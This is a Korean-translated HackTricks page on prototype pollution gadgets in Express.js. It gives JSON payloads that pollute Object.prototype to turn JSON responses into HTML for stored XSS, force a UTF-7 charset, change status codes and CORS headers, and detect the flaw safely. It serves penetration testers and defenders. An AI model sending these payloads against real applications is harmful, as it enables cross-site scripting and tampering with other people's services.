Express Prototype Pollution Gadgets

Support HackTricks

XSS 응답 제공

자세한 내용은 원본 연구를 참조하세요

JSON 콘텐츠 유형을 HTML로 변경

JSON 콘텐츠 유형 응답을 사용하고 JSON을 반영하는 Express 앱에서:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

이 경우 JSON 콘텐츠 유형으로 XSS는 일반적으로 불가능합니다. 그러나 프로토타입 오염을 통해 Express가 HTML 응답을 제공하도록 혼란을 줄 수 있습니다. 이 취약점은 애플리케이션이 **res.send(obj)**를 사용하고 application/json 콘텐츠 유형으로 본문 파서를 사용하는 데 의존합니다.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

body_body 속성을 오염시킴으로써, Express가 HTML 콘텐츠 유형을 제공하고 _body 속성을 반영하게 할 수 있으며, 이로 인해 저장된 XSS가 발생할 수 있습니다.

UTF7 렌더링

Express가 UTF-7 콘텐츠를 렌더링하도록 만들 수 있습니다:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

안전한 스캐닝 기술

JSON 공백

다음 PP는 JSON 내부의 속성에 추가 공백을 만들어 기능이 중단되지 않도록 합니다:

{"__proto__":{"json spaces": " "}}

그럼 반사된 JSON은 다음과 같이 보입니다:

{"foo":  "bar"} -- Note the extra space

Exposed Headers

다음 PP 가젯은 서버가 HTTP 헤더를 반환하도록 합니다: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

It requires the CORS 모듈이 설치되어야 합니다

OPTIONS 메서드

다음 페이로드를 사용하면 OPTIONS 응답에서 메서드를 숨길 수 있습니다:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

상태

다음 PP 페이로드를 사용하여 반환된 상태 코드를 변경할 수 있습니다:

{"__proto__":{"status":510}}

오류

원시값(예: 문자열)으로 프로토타입에 할당하면 프로토타입은 객체여야 하므로 no-op 작업이 발생합니다. Object.prototype 자체에 프로토타입 객체를 할당하려고 하면 예외가 발생합니다. 우리는 이 두 가지 동작을 사용하여 프로토타입 오염이 성공했는지 감지할 수 있습니다:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Reflected Value

응용 프로그램이 응답에 객체를 포함할 때, __proto__와 함께 비정상적인 이름의 속성을 생성하는 것은 유용할 수 있습니다. 특히, 응답에 비정상적인 속성만 반환되는 경우 이는 응용 프로그램의 취약점을 나타낼 수 있습니다:

{"unusualName":"value","__proto__":"test"}

또한 Lodash와 같은 라이브러리가 사용되는 시나리오에서는 프로토타입 오염(PP)을 통해 속성을 설정하고 객체 내부에서 직접 설정하는 것이 또 다른 진단 접근 방식을 제공합니다. 만약 이러한 속성이 응답에서 생략된다면, 이는 Lodash가 병합하기 전에 대상 객체에서 속성의 존재를 확인하고 있음을 시사합니다:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Misc

Allow Dots

Express에는 쿼리 문자열 매개변수로부터 객체를 생성할 수 있는 옵션이 있습니다. 이것은 프로토타입 오염 취약점을 악용하기 위한 버그 체인에서 확실히 사용할 수 있습니다.

{"__proto__":{"allowDots":true}}

?foo.bar=baz는 Node에서 객체를 생성합니다.

References

Support HackTricks

Last updated